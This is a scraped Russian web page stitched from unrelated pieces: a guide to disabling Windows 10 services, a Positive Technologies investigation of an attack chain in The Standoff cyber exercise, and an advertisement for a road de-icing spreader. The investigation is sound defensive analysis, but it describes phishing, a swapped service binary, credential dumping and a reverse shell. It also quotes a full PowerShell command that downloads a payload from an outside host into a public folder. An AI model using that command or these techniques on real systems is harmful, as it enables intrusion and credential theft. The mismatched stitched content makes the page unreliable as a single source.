Служба узла hv что это за служба

Отключение служб в Windows 10

В Windows 10 есть много служб, обеспечивающих бесперебойную работу операционной системы. И лучше всего оставить их по умолчанию, но есть некоторые энтузиасты предпочитающие тонкие настройки, которым хочется, чтобы их система работала еще быстрее.

Если вам интересно, какие службы Windows 10 можно безопасно отключить, то это руководство будет в помощь. Мы настоятельно рекомендуем сначала создать точку восстановления системы, а также записывать все изменения, которые вносятся в конфигурацию служб.

Каждая служба имеет имя, описание, состояние, тип запуска, зависимости и вход в систему с учетной записью. Дважды щелкните любой сервис, чтобы посмотреть его свойства.

• Тип запуска: для большинства служб установлено значение «Автоматически» или «Автоматически» (отложенный запуск), а для остальных — «Вручную» и «Отключена».
• Состояние службы: это текущий статус сервиса, который можно быстро изменить с помощью кнопок.
• Зависимости: многие службы зависят от других. Если это так, вы будете предупреждены, в случае попытки отключения.

Как отключить службы в Windows 10

Многие хотят отключить службы, поскольку они могут помочь ускорить работу компьютера. Лучше всего обратить внимание на сервисы, которые находятся в автоматическом режиме. Именно они, увеличивают время загрузки системы.

Откройте службы через системный поиск.

В списке служб щелкните заголовок «Тип запуска«, чтобы отобразить все автоматические службы. Найдите нужную и откройте ее «Свойства«.

Переведите «Тип запуска» в состояние «Отключена» нажмите кнопку «Остановить» и щелкните «OK«.

Предостережение

Обычному пользователю нелегко понять, какое влияние будет оказано после отключения службы, и если вы сомневаетесь, выбирайте тип «Вручную» или «Автоматически» (отложенный запуск). Это поможет не навредить системе и быстро загрузить компьютер.

Какие службы Windows 10 можно отключить

Следующие службы Windows могут быть безопасно отключены, если они считаются для вас ненужными.

• Diagnostic Execution Service — выполняет диагностические действия для поддержки устранения неполадок, если функционал «Диагностики» не используется, отключаем службу.
• SysMain — поддерживает и улучшает производительность системы. Если система установлена на SSD-накопитель, можно отключить.
• Windows Search — индексирование поиска, кэширование свойств и результатов поиска для файлов, электронной почты и другого контента.
• Браузер компьютеров — обслуживает список компьютеров в сети и выдает его программам по запросу.
• Биометрическая служба Windows — предназначена для сбора, сравнения, обработки и хранения биометрических данных в клиентских приложениях без получения непосредственного доступа к биометрическим образцам или оборудованию.
• Вторичный вход в систему — позволяет запускать процессы от имени другого пользователя.
• Диспетчер печати — если вы не используете принтер.
• Доступ к HID-устройствам — если не используются клавиши быстрого вызова на клавиатурах, пультах дистанционного управления и других устройств мультимедиа.
• Использование данных — использование данных сети, лимит трафика, ограничение фоновой передачи данных, сети с лимитным тарифным планом.
• Клиент отслеживания изменившихся связей — поддерживает связи NTFS-файлов, перемещаемых в пределах компьютера или между компьютерами в сети.
• Модуль поддержки NetBIOS через TCP/IP — для клиентов в сети, позволяя пользователям получать общий доступ к файлам, принтерам, а также подключаться к сети.
• Общий доступ к подключению к Интернету (ICS) — если таковой не используется.
• Поддержка элемента панели управления «Отчеты о проблемах и их решениях».
• Сервер — поддерживает общий доступ к файлам, принтерам и именованным каналам для данного компьютера через сетевое подключение.
• Сервер кадров камеры Windows — позволяет нескольким клиентам получать доступ к видеокадрам с устройств, оснащенных камерой.
• Сетевая служба Xbox Live — если не используете Xbox Live, смело отключайте.
• Служба географического положения — отслеживает местоположение системы и управляет геозонами (географическими расположениями, с которыми сопоставлены события).
• Служба данных датчиков — получение данных различных датчиков.
• Служба датчиков — управляет различными функциями сенсоров.
• Служба наблюдения за датчиками — ведет наблюдение за различными датчиками для предоставления доступа к данным адаптации к системному и пользовательскому состоянию.
• Служба обмена данными (Hyper-V) — предоставляет механизм обмена данными между виртуальной машиной и операционной системой физического компьютера.
• Служба поддержки Bluetooth — поддерживает обнаружение и согласование удаленных устройств Bluetooth.
• Служба политики диагностики — если нет необходимости в обнаружении и устранении неполадок.
• Служба помощника по совместимости программ — следит за программами, устанавливаемыми и запускаемыми пользователем, и обнаруживает известные проблемы, связанные с совместимостью. Если с этим нет проблем, то отключите.
• Служба предварительной оценки Windows — предоставляет поддержку инфраструктуры для Программы предварительной оценки Windows.
• Служба пульса (Hyper-V) — следит за состоянием виртуальной машины и регулярно генерирует пульс. Она помогает выявлять выполняющиеся виртуальные машины, которые перестали отвечать.
• Служба регистрации ошибок Windows — разрешает отправку отчетов об ошибках в случае прекращения работы или зависания программы, а также разрешает доставку имеющихся решений проблем.
• Служба синхронизации времени Hyper-V — синхронизирует таймеры этой виртуальной машины и физического компьютера.
• Служба удаленного управления Windows (WS-Management) — применяет протокол WS-Management для удаленного управления.
• Служба узла HV — интерфейс для низкоуровневой оболочки Hyper-V, обеспечивающий функционирование счетчиков производительности по разделам для оперативной системы узла.
• Служба управления радио — управление радио и режима «в самолете».
• Служба шифрования дисков BitLocker — предоставляет службу шифрования диска.
• Службы удаленных рабочих столов — разрешает пользователям интерактивное подключение к удаленному компьютеру.
• Удаленный реестр — позволяет удаленным пользователям изменять параметры реестра на этом компьютере.
• Узел системы диагностики и Узел службы диагностики — используется службой политики диагностики для размещения средств диагностики, запускаемых в контексте локальной системы.
• Факс — позволяет отправлять и получать факсы, используя ресурсы этого компьютера и сетевые ресурсы.
• Функциональные возможности для подключенных пользователей и телеметрия — контролирует процессы сбора и передачи связанных с различными событиями сведений о диагностике и использовании.
• Служба обновлений? — с ней все сложно, чтобы отключить, придется попотеть, используя сложные методы, но спустя некоторое время она запустится вновь. Воспользовавшись нашей рекомендацией, вы сможете отключить службу обновления и заблокировать повторный её запуск.

Рекомендуемый контент

Все веб-браузеры поставляются с поддержкой автоматических обновлений, это касается и Google Chrome. Иногда обновления могут вызывать проблемы, ошибки в работе, несовместимость с некоторыми веб-сайтами, снижение функциональности

Читать подробнее

Защита и безопасность в macOS управляется системными настройками и позволяет контролировать уровень безопасности учетных записей пользователей на компьютерах и ноутбуках марки Mac. Кроме того, включить или выключить шифрование

Защита и безопасность
Читать подробнее

Точки восстановления Windows 10, помогут вам отменить нежелательные изменения и восстановить компьютер в состояние, соответствующее ранее созданной точке восстановления.

Windows 10
Читать подробнее

Наверное каждый, при использовании Windows 10 больше всего обеспокоен телеметрией, автоматическим сбором данных и проблемами конфиденциальности.

Защита и безопасность
Читать подробнее

Как ускорить Windows 10, если операционная система снизила свою производительность и стала тормозить? Сделайте ее быстрее, используя самые эффективные методы ускорения компьютера на Windows 10 из нашего подробного руководства.

Письмо ценой катастрофы: расследуем атаку на The Standoff, используя продукты Positive Technologies

Привет! В мае прошел очередной, уже 11-й, PHDays, а вместе с ним и The Standoff, и мы, как обычно, не остались без кейсов интересных атак. В этот раз мы решили не описывать отдельные техники и тактики по матрице MITRE ATT&CK, ведь ни одна атака не возникает на пустом месте: всегда есть конкретный вектор проникновения в систему, путь продвижения по инфраструктуре и в конечном счете реализованное недопустимое событие. Предлагаем сосредоточиться на этом, так что приготовьтесь к полноценному расследованию!

В течение четырех дней кибербитвы Государство F подвергалось атакам со всех сторон. В мероприятии принимали участие 17 команд атакующих, под их натиском пали нефтегазовая, энергетическая, транспортная отрасли, в сеть были слиты персональные данные сотрудников, украдены конфиденциальные документы, целые сети были заражены вирусами-шифровальщиками. Но, конечно, самыми впечатляющими были атаки на автоматизированные системы управления технологическим процессом (АСУ ТП). Нет, не потому, что они заставляют макет ожить, а потому, что атаки на промышленные системы в реальной жизни разрушительны, несут огромные риски и могут привести к человеческим жертвам. Также такие атаки сложнее в реализации: промышленные системы вынесены в отдельный изолированный сегмент, доступ к которому ограничен. Кроме того, реализация недопустимых событий в промышленном сегменте, по правилам нашей кибербитвы, приносила команде атакующих больше всего очков.

The Standoff — это самая масштабная в мире открытая кибербитва. Главной темой учений, прошедших в мае, стал эффект бабочки: зрители и участники битвы увидели, как реализация недопустимого события в одной отрасли экономики может повлиять на другие и на все государство в целом. На площадке в Москве было построено виртуальное Государство F с тремя отраслями производства: черной металлургией, электроэнергетикой и нефтяной промышленностью. Внутри каждой отрасли экономики были представлены взаимосвязанные объекты и смоделированы производственные процессы, начиная от добычи ресурсов и заканчивая поставкой продукции конечным потребителям. Также в экономике Государства F было представлено несколько других сегментов (транспорт, банковская система и ЖКХ), каждый из которых тоже состоял из набора объектов. Чтобы найти слабые места в защите этих объектов, управляемых системами, использующимися в реальной жизни, собрались 157 исследователей безопасности из 17 команд. Атакующие искали уязвимости и пытались реализовать инциденты, например, вызвать коллапс в аэропорту или остановить работу нефтезавода. За четыре дня The Standoff атакующие реализовали недопустимые события 63 раза, 30 из них были уникальными.

Напомним, что традиционно в противостоянии принимают участие и команды защиты, которые наблюдают за происходящим на The Standoff, используя продукты Positive Technologies: продукт для глубокого анализа трафика PT NAD (PT Network Attack Discovery), систему мониторинга событий ИБ и выявления инцидентов в реальном времени MaxPatrol SIEM, межсетевой экран уровня приложений PT Application Firewall, систему анализа технологического трафика PT ISIM (PT Industrial Security Incident Manager) и песочницу PT Sandbox. Сегодня мы, PT Expert Security Center, заглянем в каждый из них и продемонстрируем, как совокупность продуктов позволяет воссоздать полную цепочку действий атакующих. Также мы покажем, на что именно специалистам SOC (security operation center) нужно обращать внимание, чтобы заметить и остановить хакеров еще на подходе к критичным системам, пока они не успели реализовать недопустимое для компании событие.

Отправная точка расследования

Так как телетрапом управляет SCADA-система (supervisory control and data acquisition — диспетчерское управление и сбор данных), мы начнем наш разбор с анализа технологического трафика с помощью PT ISIM и посмотрим, что продукт смог зафиксировать:

• трапу была отправлена команда с IP-адреса 10.156.22.134 — узла оператора SCADA-системы;
• удаленное подключение по RDP к узлу оператора было осуществлено за несколько минут до аварии с IP-адреса 10.156.22.25.

Наш следующий шаг — выяснить, кто и откуда получил доступ по RDP к узлу оператора. В этом нам поможет MaxPatrol SIEM: отфильтруем нужный нам узел и посмотрим входы по RDP (RemoteInteractive, события msgid = 4624 и logon_type = 10). Сгруппируем их по именам пользователей, которые осуществляли вход, и посмотрим адреса подключения.

Мы видим, что кроме оператора никто не заходил по RDP на узел. А еще обратим внимание, что все RDP-сессии осуществлены с одного IP-адреса (10.156.22.25). Самая первая успешная RDP-сессия была установлена еще накануне вечером. Проанализировав активность на узле airportboarding, мы не обнаружили ничего интересного: не было ни сканов, ни принесенного инструментария для атак на промышленные сети — ничего. Можем предположить, что, войдя по RDP, атакующие увидели открытую консоль управления телетрапом и, дождавшись момента посадки пассажиров, отодвинули его. В этом случае разумнее всего перейти к анализу происходящего со следующим узлом (10.156.22.25), с которого был получен доступ к узлу оператора SCADA-системы, и поискать артефакты действий атакующего там.

Анализируя события с comp-54.hv-logistics.stf (10.156.22.25), мы можем выяснить, какие процессы обращались к порту 3389 на узле оператора SCADA-системы (10.156.22.134). Мы видим, что за интересующий нас промежуток времени к порту обращались два процесса: nmap.exe и lsysnetworkrestricted.exe. Первый — это общеизвестный инструмент для сканирования и поиска открытых портов, который активно используют в атаках на инфраструктуру и пентестеры, и реальные злоумышленники. Назначение второго процесса непонятно. Тут может быть несколько вариантов: либо это кастомизированный клиент RDP, либо инструментарий для туннелирования трафика, либо другой сетевой сканер. Давайте разбираться.

Посмотрим, что это за файл lsysnetworkrestricted.exe и откуда он взялся. Начнем с события запуска процесса (msgid in [1, 4688]). Стоит обратить внимание на то, что у файла отсутствуют метаинформация и исходное имя (original_name), а еще он был запущен от имени NT Authority\System. Файл располагается в папке C:\Windows\System32, но не относится к Windows. Мы можем сделать вывод, что этот файл создан атакующими и они смогли получить системные привилегии на узле comp-54.hv-logistics.stf (10.156.22.25).

Далее мы находим событие создания файла. Проанализировав события c msgid = 11 (Sysmon), мы обнаруживаем, что этот исполняемый файл был создан процессом powershell.exe с PID (process identifier) 2224. PowerShell — один из незаменимых инструментов атакующих, поэтому Microsoft предоставили аналитикам SOC отличные события его аудита. Зная PID родительского процесса powershell.exe, мы анализируем события 4103 и 4104 (журнал Microsoft-Windows-PowerShell) и обнаруживаем скачивание файла с помощью командлета Invoke-WebRequest. Также мы видим, что команда выполнялась от имени пользователя r_flores_admin.

Теперь в центре нашего внимания оказывается пользователь r_flores_admin. Проделываем трюк, который мы уже использовали ранее: смотрим, откуда, как и когда был осуществлен вход от имени этого пользователя. Оказывается, что это вновь RDP-сессия с узла rdg.hv-logistivs.stf (10.156.26.21). Но пока не будем забегать вперед и смотреть, что же происходило на том узле, — остановимся на самом факте входа. Из этого события мы можем извлечь крайне полезную информацию — ID сеанса. Он позволит нам собрать всю активность пользователя в рамках этой RDP-сессии, что бывает полезно при реагировании на инцидент. Мы можем посмотреть запущенные в рамках сессии процессы, найти возможные артефакты атакующих и потенциальные способы закрепления в системе.

Мы обнаружили, что в рамках этой сессии r_flores_admin создал сервис с исполняемым файлом WWIHost.exe, тем самым повысив свои привилегии до SYSTEM. Имя службы было выбрано такое, чтобы она была похожа на системную и не выделялась (спасибо за то, что пытаетесь скрываться!). Обратите внимание на поля object.property и object.type: их значения свидетельствуют о том, что служба стартует автоматически (тип 2); то есть атакующие не только повысили права, но и закрепились в системе. Ранее нам уже встречался процесс wwihost.exe, но в качестве родительского для lsysnetworkrestricted.exe. То есть он был запущен от SYSTEM, так как наследует эти права от wwihost.exe, запущенного как сервис.

Очень часто хакерские инструментарии оставляют за собой следы, по которым можно классифицировать то или иное ПО.

Например, модуль Impacket smbexec использует технику service execution для выполнения команд с повышенными привилегиями. Он создает в целевой системе службу, имя которой зафиксировано автором в коде скрипта (BTOBTO). Так как иногда атакующие забывают поменять эту строку (а иногда ленятся), это может стать отличным индикатором использования Impacket smbexec.

По таким следам правила корреляций MaxPatrol SIEM и правила PT NAD умеют обнаруживать большую часть популярных (и не очень) инструментов, используемых в атаках: модули фреймворков Metasploit Framework, Koadic и Cobalt Strike, инструменты из набора Impacket, Mimikatz, Rubeus и множество других.

Аналитики SOC, возлюбите msgid = 1 (Sysmon)! В отличие от штатного логирования старта процесса в Windows (msgid = 4688), Sysmon предоставляет больше информации и дает больше контекста. Например, ничем не примечательный 1.exe оказывается эксплойтом для свежей уязвимости в RPC (CVE-2022-26809). Значения метаинформации и исходного имени файла задаются на этапе сборки исполняемого файла, но если атакующие используют готовый инструмент и просто переименовывают его исполняемый файл, чтобы скрыться, то Sysmon позволит вам легко это вычислить.

Серверный сегмент

Итак, вернемся к нашей цепочке. Расследование приводит нас на узел rdg.hv-logistivs.stf (10.156.26.21), с которого авторизовывался r_flores_admin. Так как на практике сегмент АСУ ТП защищается особо тщательно, получить доступ к узлам операторов бывает непросто, дотянуться до них по сети можно далеко не отовсюду. Обычно сетевой связанностью с узлами операторов АСУ ТП обладают несколько инфраструктурных серверов (KSC, SCCM) и, возможно, несколько компьютеров из сегмента администраторов. В нашем случае такой лазейкой в сегмент SCADA стал сервер Remote Desktop Gateway.

По процедуре, описанной выше, находим процесс, осуществлявший удаленный вход по RDP (msgid in [3,5156] and dst.port = 3389). Вы знаете, что делать дальше: msgid in [1, 4688]. Смотрим, что это за процесс, кто его запустил, вытаскиваем subject.account.session_id и анализируем активность, предшествующую перемещению на следующий узел в цепочке атаки.

Нам бы тоже хотелось, чтобы атакующие показывали неизвестные, новые и интересные техники атак. Но, как и в жизни, есть подготовленный инструментарий и работающие стратегии. Поэтому и в реальности при перемещении атакующих от узла к узлу мы видим похожие события. А значит, и наши техники расследования часто оказываются однотипными.

Тут мы видим стандартное обращение от процесса mstsc.exe, родителем которого является explorer.exe. Значит, у атакующих снова был интерактивный доступ.

У нас появляется новый скомпрометированный пользователь e_puckett (который пришел с адреса 10.156.26.34). Посмотрим сработавшие правила корреляции в рамках его сессии. PowerShell, который открывает соединение на внешний адрес? Чаще всего это говорит о потенциальном соединении с С2-сервером (command and control) атакующих или же о скачивании файла (в некоторых случаях — об использовании фреймворков для проведения разведки или атак на Active Directory, например PowerSploit, BloodHound). И почти всегда это говорит о том, что с узлом что-то нечисто.

Мы нашли адрес, который потенциально принадлежит атакующим. В реальной жизни с ним мы делаем три вещи:

1. Блокируем все соединения из нашей сети на этот адрес.
2. Добавляем в IoC, чтобы при попытке подключения к указанному адресу любого узла в нашей инфраструктуре мы сразу же получали сообщение от систем защиты о критическом инциденте с высокой важностью, максимально быстро стартовали расследование и реагирование на инцидент.
3. Проводим ретроспективный анализ и находим все узлы, которые могли оказаться под контролем атакующих (сейчас мы этого делать не будем, чтобы не заспойлерить итоги расследования, а посмотрим на этот адрес только в рамках текущего узла).

Изучим, какие события на узле связаны с указанным адресом. Так как это powershell.exe, то нам снова оказываются полезны события с msgid = 4104: видим Invoke-Expression (IEX), net.webclient, downloadstring, а затем много строк base64-encoded. Даже если вы не встречали подобного в жизни, несложно догадаться, что тут происходит. А если сталкивались с таким, то точно должны знать, что разбитый на несколько событий Base64 характерен для запуска полезной нагрузки PowerShell и доставки Cobalt Strike Beacon на узел.

Дальнейший анализ показал, что активность атакующих на узле была минимальной. Мы увидели запуск nmap и ping до нескольких узлов из разных сетей (в том числе до сегментов АСУ ТП и сегмента администраторов). Пользователь e_puckett не имеет прав локального администратора, но при этом мы также не увидели каких-либо попыток повысить привилегии. Это может говорить о том, что узел rdg.hv-logistics.stf (10.156.26.21) был интересен атакующим только из-за доступа практически в любой уголок сети компании. Закрепились атакующие через добавление своей полезной нагрузки в автозагрузку. Beacon Cobalt Strike использовался исключительно для проксирования трафика до интересующих хакеров целей.

Так что, следуя по цепочке перемещения хакеров, переходим к узлу iTop с адресом 10.156.26.34 (рис. 10), с которого атакующие заходили по RDP на rdg.hv-logistics.stf (10.156.26.21) под пользователем e_puckett. Находим обращения к порту 3389 от файла /tmp/la, и на самом деле в найденных событиях подозрительно все: скрипт из папки /tmp/ открывает соединение к порту 3389, еще и запущен пользователем www-data. Выглядит подозрительно, не так ли?

Выполнение команд от имени пользователя www-data говорит о потенциальной RCE- уязвимости (remote code execution) в веб-интерфейсе (возможно, с использованием веб-шелла). Каждый пентестер, даже далеко не самый опытный, знает, что при эксплуатации RCE-уязвимости в веб-приложении он получает права того пользователя, от имени которого запущен веб-сервис. Иногда ленивые администраторы серверов делают атакующим подарок в виде прав root, но в большинстве случаев это все же www-data, bitrix, сonfluence (привет, CVE-2022-26134) или пользователь, не обладающий высокими правами или даже правом на интерактивный вход.

Нужно понять, откуда взялся этот файл la. По строке запуска /tmp/la находим скачивание пользователем www-data через wget, chmod + x на /tmp/la (дает файлу право на исполнение) — обратный шелл до управляющего сервера. Довольно стандартный сценарий при эксплуатации веб-уязвимости. Аналитики SOC, обращайте внимание на то, какие команды выполняют пользователи — демоны веб-сервисов. Если внезапно www-data начинает выяснять, кто он (whoami) и где он (hostname), то следует повнимательней присмотреться к его активности.

Кстати, домен lg4.ptsecurity.net мы уже встречали ранее на узле comp-54.hv-logistics.stf (рис. 5).

С помощью SIEM можно узнать контекст того, какие команды выполнялись, но продукты этого класса не могут сказать, что находится внутри исполняемого файла или файла скрипта. Нам остается только строить предположения. Или. Или нам на помощь приходит PT NAD, который умеет извлекать из трафика передаваемые файлы и сразу отправлять их на анализ в PT Sandbox (обратите внимание, около имени передаваемого файла появляется индикатор того, что в результате анализа файл был признан вредоносным). Стоит сделать оговорку, что это не сработает с шифрованным трафиком (HTTPS, SSH), но в MaxPatrol SIEM мы видим, что для передачи использовался HTTP (без SSL). Можем легко найти скачивание файла lg4.lin, который сохранили в /tmp/la.

PT NAD поможет ответить на вопрос, какая уязвимость была проэксплуатирована на iTop. Проанализировав сработавшие правила, мы выяснили, что используется уязвимая версия iTop 2.4.1, эксплойт к которой позволяет удаленно выполнить код (CVE-2018-10642). Можем определить название веб-шелла, который был использован атакующими, команды, которые они через него выполняли, и их вывод. Но самая важная информация — это адрес, с которого была произведена эксплуатация уязвимости, а именно узел comp-65.hv-logistics.stf (10.156.24.219).

Получение учетных данных

Продолжаем наше расследование и перемещаемся на узел comp-65.hv-logistics.stf (10.156.24.219), с которого атакующие прорвались в серверный сегмент. Задав узкий промежуток времени, в котором была зафиксирована эксплуатация уязвимости, мы видим обращение на порт 80 сервиса iTop от 1.exe.

Проверим, от имени какого пользователя был запущен процесс с предполагаемым эксплойтом. Очень важно проводить такой анализ, чтобы понять, какими правами обладает процесс, ведь права наследуются от пользователя. Если с пользователем SYSTEM все понятно, то по имени w_pitts мы не можем с ходу сказать, является ли он локальным администратором на узле comp-65.hv-logistics.stf (10.156.24.219). Один из способов это выяснить — проверить, регистрируются ли вместе со входом событие msgid = 4672 (присвоение специальных привилегий при входе). Мы не нашли таких событий, а значит, атакующим пришлось проявить изобретательность, чтобы получить максимальные права на узле.

Поищем происхождение файла 1.exe на comp-65.hv-logistics.stf (10.156.24.219) в MaxPatrol SIEM. Если посмотреть события в сессии w_pitts, то мы опять видим скачивание через PowerShell с использованием invoke-webrequest, где lg4.win был сохранен как 1.exe: Invoke-WebRequest -Uri http://lg4.ptsecurity.net/zhaya/lg4.win -OutFile C:\Users\Public\1.exe.

Сам исполняемый файл мы можем вытащить из PT NAD и отправить на анализ в PT Sandbox. Поведенческий анализ свидетельствует о том, что 1.exe содержит бэкдор (рис. 23).

Иногда бывает полезно анализировать не только строку запуска вредоносного файла, но и другие процессы, где он мог фигурировать как объект (мы сегодня уже делали так, чтобы выяснить, как файл был передан на узел). Но иногда можно увидеть и другие полезные для расследования события. Например, на скриншоте выше (рис. 23) видно, как атакующие подменили оригинальный исполняемый файл zabbix-agent.exe на полезную нагрузку — файл 1.exe. Проведя разведку на узле, хакеры обнаружили, что имеют права на запись в папку C:\Zabbix\bin\, где находится zabbix-agent.exe, который использует сервис Zabbix. Таким образом, при перезапуске службы атакующие получили обратное соединение на свой сервер и смогли исполнять команды на узле с правами SYSTEM.

Часто оказывается так, что у пользователя есть права на запись службы в папку, но нет прав на ее перезапуск. Тогда, если тип запуска службы — auto, можно просто перезагрузить узел. При старте системы службы начнут запускаться, и Zabbix запустит полезную нагрузку, а атакующие получат обратное соединение с уже такими желанными правами системы.

Конечно, в этом случае атакующие теряют из памяти lsass.exe пароли и хеши пользователей, которые ранее интерактивно входили на узел. А там могли быть учетные данные какого-нибудь администратора, которые полезны для дальнейшего продвижения по сети.

Кстати, lsass.exe — далеко не единственное место, откуда можно извлечь учетные данные. Один из способов — это получить из реестра кэшированные доменные учетные данные. Последние десять доменных входов кэшируются для того, чтобы доменный пользователь мог войти в систему, если по какой-то причине контроллер домена недоступен. Извлекать эти данные умеет известный инструмент LaZagne: для этого сохраняются ветки реестра hklm\sam, hklm\system и hklm\security, что хорошо видно на скриншоте ниже.

Стоит сказать, что у LaZagne есть много функций, и инструмент может получать данные не только из реестра, но и из сохраненных паролей для подключения к сетям Wi-Fi, из паролей, сохраненных в браузерах, в файлах конфигураций. Кроме того, в LaZagne есть модуль Pypykatz — это интерпретация Mimikatz на языке Python.

Чтобы понять, какие учетные данные потенциально оказались в руках атакующих, мы проверяем пользователей, которые входили на узел в последнее время. Пользователь administrator нам неинтересен, он локальный, а вот r_flores_admin — это уже любопытно, так как мы видели, что он использовался для дальнейших атак.

Итак, нам в нашем расследовании осталось ответить всего на два вопроса:

1. Как атакующие получили доступ на comp-65.hv-logistics.stf (10.156.24.219).
2. Откуда были получены учетные данные пользователя e_puckett, которого использовали для входа на RDG.

Начнем со второго: этот вопрос сложнее и потребует от нас навыков настоящего третхантера. То есть нужно выдвинуть гипотезу, а затем ее проверить.

Предполагаем, что учетные данные e_puckett были сдамплены с какого-то узла. Значит, нам надо найти все узлы, на которые e_puckett осуществлял интерактивный вход (logon_type in [2,7,11,10]). Список состоит всего из одного узла — comp-187.hv.logistics.stf (10.156.24.3). Значит, посмотрим на все взаимодействия между ним и теми узлами, которые находятся под контролем атакующих. И. Это headshot! Мы видим сработавшее на удаленный дамп учетных данных правило. Если перейти к исходным событиям, то становится ясно, что использовался инструмент Impacket secretsdump (для него характерны сетевой вход, доступ к именованным каналам svcctl и winreg, сохранение результатов в файл со случайным именем и расширением .tmp в C:\Windows, а затем чтение этого файла по SMB).

На самом деле Threat Hunting далеко не всегда бывает таким быстрым и удачным, каким он оказался в этом примере. Перед этим нам пришлось cформулировать множество гипотез, и их проверка закончилась провалом. Мы искали, где атакующие завладели учетной записью e_puckett еще с того момента, когда впервые увидели ее использование на сервере RDG. В итоге раскручивание цепочки шаг за шагом привело нас к ответу. Сама атака была распределенная и заняла у команды атакующих трое суток, а вот на раскручивание цепочки нам суммарно потребовалось 8–10 часов.

Точка входа

Вернемся к w_pitts. Мы помним, что файл 1.exe был создан процессом powershell.exe. Часто для понимания полной картины происходящего на узле приходится строить цепочку процессов, то есть искать событие за событием, сверяя PID и имена процессов. К счастью, MaxPatrol SIEM умеет это делать самостоятельно. Нужный нам процесс powershell.exe даже попал в цепочку для правила корреляции Malicious_Office_Document на вредоносный документ. Убедившись, что это именно тот самый powershell.exe, можно сделать вывод, что в 12:22 пользователь w_pitts получил фишинговое письмо и открыл вложение. Если посмотреть на цепочку, то видно, что пользователь запустил почтовый клиент, открыл вложение в виде DOC-файла, который запустил powershell.exe и начал выполнять команды.

Это же письмо мы можем найти в PT Sandbox. Поведенческий анализ явно говорит о вредоносности вложения.

Заключение

Давайте соберем все факты воедино и попробуем подвести итог расследования.

Атакующие отправили фишинговое письмо (якобы с резюме), которые было открыто сотрудником отдела кадров w_pitts, благодаря чему хакеры получили обратное соединение на свой C2-сервер. Быстро найдя способ повысить привилегии в системе, они получили учетные данные администратора r_flores_admin, что позволило им чувствовать себя очень свободно в инфраструктуре компании. Немного побродив по пользовательскому сегменту и получив контроль еще над парой учетных записей, нападающие поняли, что в этом сегменте крупной рыбы не поймаешь и надо двигаться дальше. Дверь в серверный сегмент им открыла не запатченная вовремя уязвимость в сервисе создания запросов в техподдержку iTop. Оттуда хакеры быстро переместились на сервер RDG, которому по протоколу удаленного рабочего стола (RDP) открыт доступ практически на любой узел любого сегмента. Воспользовавшись этим и даже не заглянув в сегмент администраторов, атакующие кинулись к системам SCADA реализовывать недопустимое событие.

Нужно было всего одно письмо, и понеслось: разведка, закрепление, повышение привилегий, горизонтальное перемещение — и вот атакующие уже в сегменте АСУ ТП управляют вашим телетрапом. Примерный их путь к реализации недопустимого события состоял из шести этапов (см. скриншот ниже).

В реальной жизни наша основная задача — не давать атакующим возможности реализовывать недопустимые события и пресекать все их действия на этапе продвижения. При грамотном управлении процессами мониторинга и реагирования на инциденты информационной безопасности, а также при наличии эффективных правил обнаружения подобные атаки в компаниях могут быть обнаружены и остановлены уже на самом первом этапе — получении фишинговых писем.

Надеемся, наша статья поможет вам взглянуть на угрозы, процессы threat hunting и расследования под другим углом.

Распределитель материалов РМ Айсберг

— это распределитель с точной дозировкой противогололедных материалов, который не имеет аналогов в РФ среди подобной техники.

Данный распределитель успешно применяется для обработки проезжей части противогололедными материалами в зимний период (чистая соль, песчано-соляная смесь, сухой песок, сухая мраморная и гранитная крошка, гранулы других твердых химических реагентов, солевой раствор (при установке баков смачивания) с целью удаления обледенения с поверхности дорог.

Благодаря своим конструктивным особенностям является универсальным распределителем, отлично зарекомендовавшим себя в тяжелых российских условиях.

В модельном ряде 8 видов распределителей РМ Айсберг

отличаются вместимостью и рассчитаны для определенной грузоподъемности автомобиля

РМ-4

РМ-5

РМ-7

РМ-8

Обогрев бункера

— опция, которая просто незаменима при эксплуатации в условиях отрицательных температур.

Исключается намерзание материала на стенках. Оборудование работает без простоев. Обогрев осуществляется от выхлопной системы автомобиля.

Надежность

• Бункер изготовлен из легированной конструкционной стали толщиной 4 мм;
• Минимальное количество сварных швов;
• Окраска двухкомпонентной полиуретановой эмалью поверх коррозионностойкого грунта;
• Высокопрочная безвтулочная пластинчатая цепь, которая практически не требует обслуживания, запас ресурса гарантирован на весь срок службы машины;
• Цепь движется в специальном канале, что значительно уменьшает ее износ;
• Из нержавеющей стали изготовлен распределяющий узел, наиболее подверженный влиянию агрессивной среды;
• Редуктор иностранного производства (механизм редуктора работает в в собственной масляной ванне и не связан с гидравликой автомобиля);
• Передний вал цепи вращается на втулках ZEDEX или на саморегулирующихся подшипниках FKL (опция);
• Приводной вал цепи вращается на саморегулирующихся подшипниках FKL.

Эффективность

• Может работать с разными противогололедными материалами: чистая соль, сухой песок, пескосоляная смесь, сухая мраморная или гранитная крошка;
• Может работать со смесями низкого качества;
• Изготавливается в различном исполнении с разным набором опций;
• Вместимость бункера, в зависимости от модели, составляет от 5 до 16 куб.м;
• Возможность увеличения объема бункера после приобретения распределителя, путем установки дополнительных надставных бортов (1 надставной борт + 2 куб.м.);
• Универсальная составная конструкция позволяет скомплектовать оборудование для определенного автомобиля из базовых взаимозаменяемых составляющих;
• Ширина распределения до 12 метров за счет установки вогнутой тарелки из нержавеющей стали диаметром 600 мм с 8 лопатками специальной формы;
• Может устанавливаться, как в кузов самосвала, так и на раму грузового автомобиля;
• Высокая точность и асимметрия распределения противогололедного материала;

Комфорт

• Для изменения ширины распределения реагентов опционально устанавливается актуатор;
• Герметичные ящики для размещения гидравлического оборудования;
• Возможность установки системы смачивания для работы с чистой солью;
• Система быстрой фиксации позволяет быстро и надежно закрепить распределитель в бункере самосвала;
• Съемные опоры хранения;
• Для исключения зависания материала на стенках бункера предусмотрена возможность установки вибратора (опция);
• Управление всеми системами, дозировкой, шириной и асимметрией распределения осуществляется из кабины автомобиля при помощи специального многофункционального пульта(опция);
• Для исключения намерзания материала на стенках бункера предусмотрено исполнение оборудования с обогревом от выхлопной системы (опция). ​​​

Безопасность

• Защита от попадания в бункер крупных фрагментов:
  • Просеивающая решетка на бункере из прутка диаметром 8, 10, 12 мм или из полосы 5х50 мм;
  • Решетка перед распределяющим устройством в базовой комплектации;
  • Светодиодный фонарь «КАМАЗ»: габаритные огни, стоп-сигналы, сигналы заднего хода и указатели поворота (опция);
  • Светодиодные фонари «Ярославич» (опция);

  

  

  Распределитель устанавливается на шасси или в кузов грузового автомобиля. Им могут оборудоваться автомобили марки: КАМАЗ, МАЗ, УРАЛ, а также автомобили иностранного производства: HOWO, VOLVO, MERCEDES, MAN и др.

